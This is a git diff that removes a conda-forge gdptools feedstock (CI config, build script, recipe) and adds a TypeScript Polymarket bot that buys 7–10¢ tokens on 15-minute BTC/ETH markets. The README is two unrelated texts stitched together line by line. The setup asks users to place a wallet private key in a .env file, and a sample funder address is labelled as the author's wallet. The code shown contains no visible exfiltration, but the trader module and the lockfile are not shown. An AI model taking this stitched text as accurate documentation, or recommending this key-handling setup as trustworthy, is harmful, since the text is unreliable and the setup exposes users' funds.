| Buy price | Payout | Return if win |
|
||||
|-----------|--------|---------------|
|
||||
| 7¢ | $1.00 | +1,329% |
|
||||
| 8¢ | $1.00 | +1,150% |
|
||||
| 9¢ | $1.00 | +1,011% |
|
||||
| 10¢ | $1.00 | +900% |
|
||||
| 95¢ | $1.00 | +5% |
|
||||
|
||||
**feedstock** - the conda recipe (raw material), supporting scripts and CI configuration.
|
||||
Most 7–10¢ bets go to zero. Edge comes from occasional reversals at high multiples.
|
||||
|
||||
**conda-smithy** - the tool which helps orchestrate the feedstock.
|
||||
Its primary use is in the construction of the CI ``.yml`` files
|
||||
and simplify the management of *many* feedstocks.
|
||||
---
|
||||
|
||||
**conda-forge** - the place where the feedstock and smithy live and work to
|
||||
produce the finished article (built conda distributions)
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/abwhaoms502/polymarket-reverse-arbitrage-bot
|
||||
cd reverse-bot
|
||||
npm install
|
||||
cp .env.example .env
|
||||
npm start # dry-run: logs orders, no submission
|
||||
```
|
||||
|
||||
Updating gdptools-feedstock
|
||||
===========================
|
||||
### Go live on @odahoa
|
||||
|
||||
If you would like to improve the gdptools recipe or build a new
|
||||
package version, please fork this repository and submit a PR. Upon submission,
|
||||
your changes will be run on the appropriate platforms to give the reviewer an
|
||||
opportunity to confirm that the changes result in a successful build. Once
|
||||
merged, the recipe will be re-built and uploaded automatically to the
|
||||
`conda-forge` channel, whereupon the built conda packages will be available for
|
||||
everybody to install and use from the `conda-forge` channel.
|
||||
Note that all branches in the conda-forge/gdptools-feedstock are
|
||||
immediately built and any created packages are uploaded, so PRs should be based
|
||||
on branches in forks and branches in the main repository should only be used to
|
||||
build distinct package versions.
|
||||
```env
|
||||
DRY_RUN=false
|
||||
PRIVATE_KEY=0x... # account signing key
|
||||
FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237 # @odahoa proxy wallet
|
||||
SIGNATURE_TYPE=2
|
||||
```
|
||||
|
||||
In order to produce a uniquely identifiable distribution:
|
||||
* If the version of a package **is not** being increased, please add or increase
|
||||
the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string).
|
||||
* If the version of a package **is** being increased, please remember to return
|
||||
the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string)
|
||||
back to 0.
|
||||
| `SIGNATURE_TYPE` | Use for |
|
||||
|------------------|---------|
|
||||
| `0` | EOA / MetaMask |
|
||||
| `2` | Gnosis Safe proxy *(typical Polymarket account)* |
|
||||
| `3` | POLY_1271 deposit wallet |
|
||||
|
||||
Feedstock Maintainers
|
||||
=====================
|
||||
---
|
||||
|
||||
* [@ocefpaf](https://github.com/ocefpaf/)
|
||||
* [@rmcd-mscb](https://github.com/rmcd-mscb/)
|
||||
## Config
|
||||
|
||||
### Strategy
|
||||
|
||||
| Variable | Default | Description |
|
||||
|----------|---------|-------------|
|
||||
| `CHEAP_BUY_MIN` | `0.07` | Low end of reversal bids |
|
||||
| `CHEAP_BUY_MAX` | `0.10` | High end of reversal bids |
|
||||
| `CHEAP_ORDER_USDC` | `10` | USDC per cheap limit order |
|
||||
| `ENABLE_EXPENSIVE_HEDGE` | `true` | Post 90–95¢ favorite bids |
|
||||
| `EXPENSIVE_BUY_MIN` | `0.90` | Low end of hedge bids |
|
||||
| `EXPENSIVE_BUY_MAX` | `0.95` | High end of hedge bids |
|
||||
| `EXPENSIVE_ORDER_USDC` | `50` | USDC per hedge limit order |
|
||||
| `MAX_SHARES_PER_ORDER` | `90` | Max shares per order |
|
||||
|
||||
### Markets & timing
|
||||
|
||||
| Variable | Default | Description |
|
||||
|----------|---------|-------------|
|
||||
| `MARKET_SLUG_PREFIXES` | `btc-updown-15m,eth-updown-15m` | Markets to scan |
|
||||
| `POLL_INTERVAL_MS` | `5000` | Scan interval |
|
||||
| `MINUTES_BEFORE_CLOSE_MIN` | `0` | Start trading N min into window |
|
||||
| `MINUTES_BEFORE_CLOSE_MAX` | `15` | Stop trading N min before close |
|
||||
|
||||
Trade only late window (when cheap tokens show up):
|
||||
|
||||
```env
|
||||
MINUTES_BEFORE_CLOSE_MIN=3
|
||||
MINUTES_BEFORE_CLOSE_MAX=12
|
||||
```
|
||||
|
||||
### Safety
|
||||
|
||||
| Variable | Default | Description |
|
||||
|----------|---------|-------------|
|
||||
| `DRY_RUN` | `true` | Log only — no real orders |
|
||||
|
||||
---
|
||||
|
||||
## Project layout
|
||||
|
||||
```
|
||||
reverse-bot/
|
||||
├── src/
|
||||
│ ├── index.ts # main loop
|
||||
│ ├── market-scanner.ts # active 15m markets + books
|
||||
│ ├── strategy.ts # underdog/favorite + limit prices
|
||||
│ ├── trader.ts # CLOB order submission
|
||||
│ └── config.ts
|
||||
├── .env.example
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npm start # run bot
|
||||
npm run dev # run with hot reload
|
||||
npm run build # compile TypeScript
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Risks
|
||||
|
||||
- **Most cheap bids lose.** 7–10¢ tokens frequently expire worthless.
|
||||
- **Limits may not fill.** Bidding 7¢ when ask is 4¢ waits for sellers.
|
||||
- **Both legs can't both win.** One side always goes to $0.
|
||||
- **Real money.** Test with `DRY_RUN=true` first.
|
||||
|
||||
---
|
||||
|
||||
## Links
|
||||
|
||||
- My profile: https://polymarket.com/@odahoa
|
||||
- My activity: https://polymarket.com/@odahoa?tab=activity
|
||||
- Polymarket settings: https://polymarket.com/settings
|
||||
|
||||
@@ -1,31 +0,0 @@
|
||||
# This file was generated automatically from conda-smithy. To update this configuration,
|
||||
# update the conda-forge.yml and/or the recipe/meta.yaml.
|
||||
# -*- mode: yaml -*-
|
||||
|
||||
stages:
|
||||
- stage: Check
|
||||
jobs:
|
||||
- job: Skip
|
||||
pool:
|
||||
vmImage: 'ubuntu-22.04'
|
||||
variables:
|
||||
DECODE_PERCENTS: 'false'
|
||||
RET: 'true'
|
||||
steps:
|
||||
- checkout: self
|
||||
fetchDepth: '2'
|
||||
- bash: |
|
||||
git_log=`git log --max-count=1 --skip=1 --pretty=format:"%B" | tr "\n" " "`
|
||||
echo "##vso[task.setvariable variable=log]$git_log"
|
||||
displayName: Obtain commit message
|
||||
- bash: echo "##vso[task.setvariable variable=RET]false"
|
||||
condition: and(eq(variables['Build.Reason'], 'PullRequest'), or(contains(variables.log, '[skip azp]'), contains(variables.log, '[azp skip]'), contains(variables.log, '[skip ci]'), contains(variables.log, '[ci skip]')))
|
||||
displayName: Skip build?
|
||||
- bash: echo "##vso[task.setvariable variable=start_main;isOutput=true]$RET"
|
||||
name: result
|
||||
displayName: Export result
|
||||
- stage: Build
|
||||
condition: and(succeeded(), eq(dependencies.Check.outputs['Skip.result.start_main'], 'true'))
|
||||
dependsOn: Check
|
||||
jobs:
|
||||
- template: ./.azure-pipelines/azure-pipelines-linux.yml
|
||||
@@ -1,135 +0,0 @@
|
||||
#!/bin/sh
|
||||
"""exec" "python3" "$0" "$@" #""" # fmt: off # fmt: on
|
||||
#
|
||||
# This file has been generated by conda-smithy in order to build the recipe
|
||||
# locally.
|
||||
#
|
||||
# The line above this comment is a bash / sh / zsh guard
|
||||
# to stop people from running it with the wrong interpreter
|
||||
import glob
|
||||
import os
|
||||
import platform
|
||||
import subprocess
|
||||
import sys
|
||||
from argparse import ArgumentParser
|
||||
|
||||
|
||||
def setup_environment(ns):
|
||||
os.environ["CONFIG"] = ns.config
|
||||
os.environ["UPLOAD_PACKAGES"] = "False"
|
||||
os.environ["IS_PR_BUILD"] = "True"
|
||||
if ns.debug:
|
||||
os.environ["BUILD_WITH_CONDA_DEBUG"] = "1"
|
||||
if ns.output_id:
|
||||
os.environ["BUILD_OUTPUT_ID"] = ns.output_id
|
||||
if "MINIFORGE_HOME" not in os.environ:
|
||||
os.environ["MINIFORGE_HOME"] = os.path.join(
|
||||
os.path.dirname(__file__), "miniforge3"
|
||||
)
|
||||
|
||||
# The default cache location might not be writable using docker on macOS.
|
||||
if ns.config.startswith("linux") and platform.system() == "Darwin":
|
||||
os.environ["CONDA_FORGE_DOCKER_RUN_ARGS"] = (
|
||||
os.environ.get("CONDA_FORGE_DOCKER_RUN_ARGS", "")
|
||||
+ " -e RATTLER_CACHE_DIR=/tmp/rattler_cache"
|
||||
)
|
||||
|
||||
|
||||
def run_docker_build(ns):
|
||||
script = ".scripts/run_docker_build.sh"
|
||||
subprocess.check_call([script])
|
||||
|
||||
|
||||
def run_osx_build(ns):
|
||||
script = ".scripts/run_osx_build.sh"
|
||||
subprocess.check_call([script])
|
||||
|
||||
|
||||
def run_win_build(ns):
|
||||
script = ".scripts/run_win_build.bat"
|
||||
subprocess.check_call(["cmd", "/D", "/Q", "/C", f"CALL {script}"])
|
||||
|
||||
|
||||
def verify_config(ns):
|
||||
choices_filter = ns.filter or "*"
|
||||
valid_configs = {
|
||||
os.path.basename(f)[:-5]
|
||||
for f in glob.glob(f".ci_support/{choices_filter}.yaml")
|
||||
}
|
||||
if choices_filter != "*":
|
||||
print(f"filtering for '{choices_filter}.yaml' configs")
|
||||
print(f"valid configs are {valid_configs}")
|
||||
if ns.config in valid_configs:
|
||||
print("Using " + ns.config + " configuration")
|
||||
return
|
||||
elif len(valid_configs) == 1:
|
||||
ns.config = valid_configs.pop()
|
||||
print("Found " + ns.config + " configuration")
|
||||
elif ns.config is None:
|
||||
print("config not selected, please choose from the following:\n")
|
||||
selections = list(enumerate(sorted(valid_configs), 1))
|
||||
for i, c in selections:
|
||||
print(f"{i}. {c}")
|
||||
try:
|
||||
s = input("\n> ")
|
||||
except KeyboardInterrupt:
|
||||
print("\nno option selected, bye!", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
idx = int(s) - 1
|
||||
ns.config = selections[idx][1]
|
||||
print(f"selected {ns.config}")
|
||||
else:
|
||||
raise ValueError("config " + ns.config + " is not valid")
|
||||
if (
|
||||
ns.config.startswith("osx")
|
||||
and platform.system() == "Darwin"
|
||||
and not os.environ.get("OSX_SDK_DIR")
|
||||
):
|
||||
raise RuntimeError(
|
||||
"Need OSX_SDK_DIR env variable set. Run 'export OSX_SDK_DIR=$PWD/SDKs' "
|
||||
"to download the SDK automatically to '$PWD/SDKs/MacOSX<ver>.sdk'. "
|
||||
"Note: OSX_SDK_DIR must be set to an absolute path. "
|
||||
"Setting this variable implies agreement to the licensing terms of the SDK by Apple."
|
||||
)
|
||||
|
||||
|
||||
def main(args=None):
|
||||
p = ArgumentParser("build-locally")
|
||||
p.add_argument("config", default=None, nargs="?")
|
||||
p.add_argument(
|
||||
"--filter",
|
||||
default=None,
|
||||
help="Glob string to filter which build choices are presented in interactive mode.",
|
||||
)
|
||||
p.add_argument(
|
||||
"--debug",
|
||||
action="store_true",
|
||||
help="Setup debug environment using `conda debug`",
|
||||
)
|
||||
p.add_argument(
|
||||
"--output-id", help="If running debug, specify the output to setup."
|
||||
)
|
||||
|
||||
ns = p.parse_args(args=args)
|
||||
verify_config(ns)
|
||||
setup_environment(ns)
|
||||
|
||||
try:
|
||||
if ns.config.startswith("linux") or (
|
||||
ns.config.startswith("osx") and platform.system() == "Linux"
|
||||
):
|
||||
run_docker_build(ns)
|
||||
elif ns.config.startswith("osx"):
|
||||
run_osx_build(ns)
|
||||
elif ns.config.startswith("win"):
|
||||
run_win_build(ns)
|
||||
finally:
|
||||
recipe_license_file = os.path.join(
|
||||
"recipe", "recipe-scripts-license.txt"
|
||||
)
|
||||
if os.path.exists(recipe_license_file):
|
||||
os.remove(recipe_license_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,8 +0,0 @@
|
||||
github:
|
||||
branch_name: main
|
||||
tooling_branch_name: main
|
||||
conda_forge_output_validation: true
|
||||
conda_build:
|
||||
pkg_format: '2'
|
||||
bot:
|
||||
inspection: update-grayskull
|
||||
Generated
+2895
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"name": "polymarket-reverse-arbitrage-bot",
|
||||
"version": "2.0.0",
|
||||
"description": "Polymarket reverse bot — buys cheap 7-10c reversal tokens on 15m BTC/ETH markets",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"start": "tsx src/index.ts",
|
||||
"dev": "tsx watch src/index.ts",
|
||||
"build": "tsc"
|
||||
},
|
||||
"dependencies": {
|
||||
"@polymarket/clob-client-v2": "^1.0.0",
|
||||
"dotenv": "^16.4.7",
|
||||
"inquirer": "^14.0.2",
|
||||
"validator": "^13.15.36",
|
||||
"viem": "^2.23.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^22.13.4",
|
||||
"tsx": "^4.19.3",
|
||||
"typescript": "^5.7.3"
|
||||
}
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
{% set name = "gdptools" %}
|
||||
{% set version = "0.2.20" %}
|
||||
{% set python_min = "3.10" %}
|
||||
|
||||
package:
|
||||
name: {{ name|lower }}
|
||||
version: {{ version }}
|
||||
|
||||
source:
|
||||
url: https://pypi.org/packages/source/{{ name[0] }}/{{ name }}/gdptools-{{ version }}.tar.gz
|
||||
sha256: 37091a6362a85caaefa3a910919b0aa2ef03fa12fc836c5afe2decc2a8f00f43
|
||||
|
||||
build:
|
||||
entry_points:
|
||||
- gdptools = gdptools.__main__:main
|
||||
noarch: python
|
||||
script: {{ PYTHON }} -m pip install . -vv --no-deps --no-build-isolation
|
||||
number: 0
|
||||
|
||||
requirements:
|
||||
host:
|
||||
- python {{ python_min }}
|
||||
- pip
|
||||
- poetry-core >=1.0.0
|
||||
run:
|
||||
- python >={{ python_min }}
|
||||
- bottleneck >=1.3.3
|
||||
- dask >=2022.0.0
|
||||
- dask-core >2024.8.0
|
||||
- dask-geopandas >0.4.1
|
||||
- fastparquet >=2024.2,<2025.0
|
||||
- geopandas >=0.13.0
|
||||
- geoviews >=1.12.0,<2.0.0
|
||||
- joblib >=1.4.0
|
||||
- metpy >=1.2.0
|
||||
- netcdf4 >=1.5.8
|
||||
- numpy >2.0
|
||||
- pandas >=2.0.0
|
||||
- pyarrow >=10.0.0,<18.0.0
|
||||
- pydantic >=2
|
||||
- pydap >=3.2.2,<4.0.0
|
||||
- pyproj >=3.3.0
|
||||
- pystac >=1.10,<2.0
|
||||
- rasterio >=1.2.9,<1.5.0
|
||||
- rioxarray >=0.15,<0.16
|
||||
- s3fs >=2025.2.0,<2026.0.0
|
||||
- scipy >=1.13.0,<2.0.0
|
||||
- shapely >=2.0
|
||||
- statsmodels >=0.14,<1.0
|
||||
- tqdm >=4.66.2,<5.0.0
|
||||
- urllib3 >=1.26.0,<2.0.0
|
||||
- xarray >=2024.7.0,<2025.0.0
|
||||
- xpystac >=0.1.3,<0.2.0
|
||||
- zarr >=2.12.0
|
||||
# - attrs >=20.3,<22
|
||||
# - bump2version >=1.0.1,<2.0.0
|
||||
# - certifi <2023.7.22
|
||||
# - pygeos >=0.14.0,<0.15.0
|
||||
# xarray[io]
|
||||
- cfgrib
|
||||
- cftime
|
||||
- fsspec
|
||||
- h5netcdf
|
||||
# - pooch
|
||||
# xarray[accel]
|
||||
# - flox
|
||||
|
||||
test:
|
||||
imports:
|
||||
- gdptools
|
||||
commands:
|
||||
- pip check
|
||||
- gdptools --help
|
||||
requires:
|
||||
- python {{ python_min }}
|
||||
- pip
|
||||
|
||||
about:
|
||||
home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools
|
||||
summary: Gdptools
|
||||
license: Unlicense
|
||||
license_file:
|
||||
- LICENSE.md
|
||||
|
||||
extra:
|
||||
recipe-maintainers:
|
||||
- rmcd-mscb
|
||||
- ocefpaf
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
import type { BotConfig } from "./config.js";
|
||||
import { log } from "./logger.js";
|
||||
import { MarketScanner } from "./market-scanner.js";
|
||||
import { findOpportunities } from "./strategy.js";
|
||||
import { TradeTracker } from "./trade-tracker.js";
|
||||
import { Trader } from "./trader.js";
|
||||
import type { TradeOpportunity, UpDownEvent } from "./types.js";
|
||||
import { formatReturnPct } from "./utils/prices.js";
|
||||
export class ReverseBot {
|
||||
private readonly scanner: MarketScanner;
|
||||
private readonly tracker = new TradeTracker();
|
||||
|
||||
constructor(
|
||||
private readonly config: BotConfig,
|
||||
private readonly trader: Trader,
|
||||
) {
|
||||
this.scanner = new MarketScanner(config);
|
||||
}
|
||||
|
||||
async init(): Promise<void> {
|
||||
await this.trader.init();
|
||||
}
|
||||
|
||||
async run(): Promise<void> {
|
||||
log("Reverse bot starting", {
|
||||
strategy: "buy cheap reversal tokens on 15m BTC/ETH markets",
|
||||
cheapRange: `${this.config.cheapBuyMin}-${this.config.cheapBuyMax}`,
|
||||
expensiveHedge: this.config.enableExpensiveHedge
|
||||
? `${this.config.expensiveBuyMin}-${this.config.expensiveBuyMax}`
|
||||
: "disabled",
|
||||
markets: this.config.marketSlugPrefixes,
|
||||
dryRun: this.config.dryRun,
|
||||
pollMs: this.config.pollIntervalMs,
|
||||
});
|
||||
|
||||
await this.tick();
|
||||
setInterval(() => void this.tick(), this.config.pollIntervalMs);
|
||||
}
|
||||
|
||||
private async tick(): Promise<void> {
|
||||
try {
|
||||
const events = await this.scanner.scan();
|
||||
if (events.length === 0) {
|
||||
log("No active markets in window");
|
||||
return;
|
||||
}
|
||||
|
||||
for (const event of events) {
|
||||
await this.processEvent(event);
|
||||
}
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
log("Scan error", { error: message });
|
||||
}
|
||||
}
|
||||
|
||||
private async processEvent(event: UpDownEvent): Promise<void> {
|
||||
const books = await this.scanner.getTokenBooks(event);
|
||||
const opportunities = findOpportunities(this.config, this.tracker, event, books);
|
||||
|
||||
if (opportunities.length === 0) {
|
||||
log("Watching market", {
|
||||
market: event.title,
|
||||
slug: event.slug,
|
||||
books: books.map((book) => ({
|
||||
outcome: book.outcome,
|
||||
bestAsk: book.bestAsk,
|
||||
})),
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
for (const opportunity of opportunities) {
|
||||
await this.executeOpportunity(opportunity);
|
||||
}
|
||||
}
|
||||
|
||||
private async executeOpportunity(opportunity: TradeOpportunity): Promise<void> {
|
||||
log("Placing limit order", {
|
||||
kind: opportunity.kind,
|
||||
market: opportunity.event.title,
|
||||
outcome: opportunity.token.outcome,
|
||||
limitPrice: opportunity.price,
|
||||
size: opportunity.size,
|
||||
potentialReturn: formatReturnPct(opportunity.price),
|
||||
});
|
||||
|
||||
const result = await this.trader.placeBuy(opportunity);
|
||||
this.tracker.mark(opportunity.tradeKey);
|
||||
|
||||
log(this.config.dryRun ? "Dry-run order" : "Live order placed", {
|
||||
tokenId: result.tokenId,
|
||||
price: result.price,
|
||||
size: result.size,
|
||||
response: result.response,
|
||||
});
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
import "dotenv/config";
|
||||
|
||||
function envString(key: string, fallback?: string): string {
|
||||
const value = process.env[key] ?? fallback;
|
||||
if (value === undefined || value === "") {
|
||||
throw new Error(`Missing required env var: ${key}`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
function envNumber(key: string, fallback: number): number {
|
||||
const raw = process.env[key];
|
||||
if (raw === undefined || raw === "") return fallback;
|
||||
const parsed = Number(raw);
|
||||
if (Number.isNaN(parsed)) {
|
||||
throw new Error(`Invalid number for env var ${key}: ${raw}`);
|
||||
}
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function envBoolean(key: string, fallback: boolean): boolean {
|
||||
const raw = process.env[key];
|
||||
if (raw === undefined || raw === "") return fallback;
|
||||
return raw.toLowerCase() === "true" || raw === "1";
|
||||
}
|
||||
|
||||
function envList(key: string, fallback: string[]): string[] {
|
||||
const raw = process.env[key];
|
||||
if (raw === undefined || raw === "") return fallback;
|
||||
return raw
|
||||
.split(",")
|
||||
.map((part) => part.trim())
|
||||
.filter(Boolean);
|
||||
}
|
||||
|
||||
export interface BotConfig {
|
||||
pollIntervalMs: number;
|
||||
marketSlugPrefixes: string[];
|
||||
cheapBuyMin: number;
|
||||
cheapBuyMax: number;
|
||||
expensiveBuyMin: number;
|
||||
expensiveBuyMax: number;
|
||||
enableExpensiveHedge: boolean;
|
||||
cheapOrderUsdc: number;
|
||||
expensiveOrderUsdc: number;
|
||||
maxSharesPerOrder: number;
|
||||
minutesBeforeCloseMin: number;
|
||||
minutesBeforeCloseMax: number;
|
||||
dryRun: boolean;
|
||||
privateKey?: `0x${string}`;
|
||||
funderAddress?: `0x${string}`;
|
||||
signatureType: number;
|
||||
clobHost: string;
|
||||
chainId: number;
|
||||
clobApiKey?: string;
|
||||
clobSecret?: string;
|
||||
clobPassphrase?: string;
|
||||
gammaApiHost: string;
|
||||
}
|
||||
|
||||
export function loadConfig(): BotConfig {
|
||||
const dryRun = envBoolean("DRY_RUN", true);
|
||||
|
||||
return {
|
||||
pollIntervalMs: envNumber("POLL_INTERVAL_MS", 5000),
|
||||
marketSlugPrefixes: envList("MARKET_SLUG_PREFIXES", [
|
||||
"btc-updown-15m",
|
||||
"eth-updown-15m",
|
||||
]),
|
||||
cheapBuyMin: envNumber("CHEAP_BUY_MIN", 0.07),
|
||||
cheapBuyMax: envNumber("CHEAP_BUY_MAX", 0.1),
|
||||
expensiveBuyMin: envNumber("EXPENSIVE_BUY_MIN", 0.9),
|
||||
expensiveBuyMax: envNumber("EXPENSIVE_BUY_MAX", 0.95),
|
||||
enableExpensiveHedge: envBoolean("ENABLE_EXPENSIVE_HEDGE", true),
|
||||
cheapOrderUsdc: envNumber("CHEAP_ORDER_USDC", 10),
|
||||
expensiveOrderUsdc: envNumber("EXPENSIVE_ORDER_USDC", 50),
|
||||
maxSharesPerOrder: envNumber("MAX_SHARES_PER_ORDER", 90),
|
||||
minutesBeforeCloseMin: envNumber("MINUTES_BEFORE_CLOSE_MIN", 0),
|
||||
minutesBeforeCloseMax: envNumber("MINUTES_BEFORE_CLOSE_MAX", 15),
|
||||
dryRun,
|
||||
privateKey: process.env.PRIVATE_KEY as `0x${string}` | undefined,
|
||||
funderAddress: process.env.FUNDER_ADDRESS as `0x${string}` | undefined,
|
||||
signatureType: envNumber("SIGNATURE_TYPE", 2),
|
||||
clobHost: envString("CLOB_HOST", "https://clob.polymarket.com"),
|
||||
chainId: envNumber("CHAIN_ID", 137),
|
||||
clobApiKey: process.env.CLOB_API_KEY,
|
||||
clobSecret: process.env.CLOB_SECRET,
|
||||
clobPassphrase: process.env.CLOB_PASSPHRASE,
|
||||
gammaApiHost: envString("GAMMA_API_HOST", "https://gamma-api.polymarket.com"),
|
||||
};
|
||||
}
|
||||
|
||||
export function validateTradingConfig(config: BotConfig): void {
|
||||
if (config.dryRun) return;
|
||||
|
||||
if (!config.privateKey) {
|
||||
throw new Error("PRIVATE_KEY is required when DRY_RUN=false");
|
||||
}
|
||||
if (!config.funderAddress) {
|
||||
throw new Error("FUNDER_ADDRESS is required when DRY_RUN=false");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
import { ReverseBot } from "./bot.js";
|
||||
import { loadConfig, validateTradingConfig } from "./config.js";
|
||||
import { logError } from "./logger.js";
|
||||
import { Trader } from "./trader.js";
|
||||
|
||||
async function main(): Promise<void> {
|
||||
const config = loadConfig();
|
||||
validateTradingConfig(config);
|
||||
|
||||
const bot = new ReverseBot(config, new Trader(config));
|
||||
await bot.init();
|
||||
await bot.run();
|
||||
}
|
||||
|
||||
main().catch((error) => {
|
||||
logError(error);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -0,0 +1,12 @@
|
||||
export function log(message: string, data?: Record<string, unknown>): void {
|
||||
const ts = new Date().toISOString();
|
||||
if (data) {
|
||||
console.log(`[${ts}] ${message}`, JSON.stringify(data));
|
||||
} else {
|
||||
console.log(`[${ts}] ${message}`);
|
||||
}
|
||||
}
|
||||
|
||||
export function logError(error: unknown): void {
|
||||
console.error(error);
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
import type { BotConfig } from "./config.js";
|
||||
import type { GammaMarket, OrderBook, TokenBook, UpDownEvent } from "./types.js";
|
||||
import {
|
||||
bestPrice,
|
||||
matchesSlugPrefixes,
|
||||
parseWindowStart,
|
||||
WINDOW_SECONDS,
|
||||
} from "./utils/market.js";
|
||||
|
||||
function parseJsonArray<T>(value: string): T[] {
|
||||
return JSON.parse(value) as T[];
|
||||
}
|
||||
|
||||
export class MarketScanner {
|
||||
constructor(private readonly config: BotConfig) {}
|
||||
|
||||
async scan(): Promise<UpDownEvent[]> {
|
||||
const url = new URL("/events", this.config.gammaApiHost);
|
||||
url.searchParams.set("tag_slug", "15M");
|
||||
url.searchParams.set("active", "true");
|
||||
url.searchParams.set("closed", "false");
|
||||
url.searchParams.set("limit", "50");
|
||||
|
||||
const response = await fetch(url);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Gamma events API error: ${response.status}`);
|
||||
}
|
||||
|
||||
const events = (await response.json()) as Array<{
|
||||
title: string;
|
||||
slug: string;
|
||||
markets: GammaMarket[];
|
||||
}>;
|
||||
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
const results: UpDownEvent[] = [];
|
||||
|
||||
for (const event of events) {
|
||||
if (!matchesSlugPrefixes(event.slug, this.config.marketSlugPrefixes)) continue;
|
||||
|
||||
const market = event.markets[0];
|
||||
if (!market || market.closed || market.active === false) continue;
|
||||
|
||||
const windowStart = parseWindowStart(event.slug);
|
||||
if (!windowStart) continue;
|
||||
|
||||
const windowEnd = windowStart + WINDOW_SECONDS;
|
||||
if (now < windowStart || now > windowEnd) continue;
|
||||
|
||||
const minutesLeft = (windowEnd - now) / 60;
|
||||
if (
|
||||
minutesLeft < this.config.minutesBeforeCloseMin ||
|
||||
minutesLeft > this.config.minutesBeforeCloseMax
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
|
||||
results.push({
|
||||
title: event.title,
|
||||
slug: event.slug,
|
||||
market,
|
||||
windowStart,
|
||||
windowEnd,
|
||||
});
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
async getTokenBooks(event: UpDownEvent): Promise<TokenBook[]> {
|
||||
const tokenIds = parseJsonArray<string>(event.market.clobTokenIds);
|
||||
const outcomes = parseJsonArray<string>(event.market.outcomes);
|
||||
|
||||
const books = await Promise.all(
|
||||
tokenIds.map(async (tokenId, index) => {
|
||||
if (!tokenId) return null;
|
||||
|
||||
const book = await fetchOrderBook(this.config.clobHost, tokenId);
|
||||
return {
|
||||
tokenId,
|
||||
outcome: outcomes[index] ?? `Outcome ${index}`,
|
||||
outcomeIndex: index,
|
||||
bestBid: bestPrice(book.bids, "bid"),
|
||||
bestAsk: bestPrice(book.asks, "ask"),
|
||||
} satisfies TokenBook;
|
||||
}),
|
||||
);
|
||||
|
||||
return books.filter((book): book is TokenBook => book !== null);
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchOrderBook(clobHost: string, tokenId: string): Promise<OrderBook> {
|
||||
const url = new URL("/book", clobHost);
|
||||
url.searchParams.set("token_id", tokenId);
|
||||
|
||||
const response = await fetch(url);
|
||||
if (!response.ok) {
|
||||
return {};
|
||||
}
|
||||
|
||||
return (await response.json()) as OrderBook;
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
import type { BotConfig } from "./config.js";
|
||||
import type { TradeTracker } from "./trade-tracker.js";
|
||||
import type { TradeOpportunity, TokenBook, UpDownEvent } from "./types.js";
|
||||
import { tickSizeFromMarket } from "./utils/market.js";
|
||||
import { computeSize, priceLevels } from "./utils/prices.js";
|
||||
|
||||
function pickReverseToken(books: TokenBook[]): TokenBook | null {
|
||||
const withAsk = books.filter((book) => book.bestAsk !== null);
|
||||
if (withAsk.length === 0) return null;
|
||||
|
||||
return withAsk.reduce((cheapest, book) =>
|
||||
(book.bestAsk ?? 1) < (cheapest.bestAsk ?? 1) ? book : cheapest,
|
||||
);
|
||||
}
|
||||
|
||||
function pickFavoriteToken(books: TokenBook[], reverseToken: TokenBook): TokenBook | null {
|
||||
return (
|
||||
books.find(
|
||||
(book) => book.tokenId !== reverseToken.tokenId && book.bestAsk !== null,
|
||||
) ?? null
|
||||
);
|
||||
}
|
||||
|
||||
function appendLimitOrders(
|
||||
tracker: TradeTracker,
|
||||
opportunities: TradeOpportunity[],
|
||||
event: UpDownEvent,
|
||||
token: TokenBook,
|
||||
kind: "cheap" | "expensive",
|
||||
prices: number[],
|
||||
usdcBudget: number,
|
||||
maxShares: number,
|
||||
): void {
|
||||
for (const price of prices) {
|
||||
const tradeKey = tracker.makeKey(event.slug, token.outcome, kind, price);
|
||||
if (tracker.has(tradeKey)) continue;
|
||||
|
||||
opportunities.push({
|
||||
kind,
|
||||
event,
|
||||
token,
|
||||
price,
|
||||
size: computeSize(usdcBudget, price, maxShares),
|
||||
tickSize: tickSizeFromMarket(event.market),
|
||||
negRisk: event.market.negRisk,
|
||||
tradeKey,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function findOpportunities(
|
||||
config: BotConfig,
|
||||
tracker: TradeTracker,
|
||||
event: UpDownEvent,
|
||||
books: TokenBook[],
|
||||
): TradeOpportunity[] {
|
||||
const opportunities: TradeOpportunity[] = [];
|
||||
const reverseToken = pickReverseToken(books);
|
||||
if (!reverseToken) return opportunities;
|
||||
|
||||
appendLimitOrders(
|
||||
tracker,
|
||||
opportunities,
|
||||
event,
|
||||
reverseToken,
|
||||
"cheap",
|
||||
priceLevels(config.cheapBuyMin, config.cheapBuyMax),
|
||||
config.cheapOrderUsdc,
|
||||
config.maxSharesPerOrder,
|
||||
);
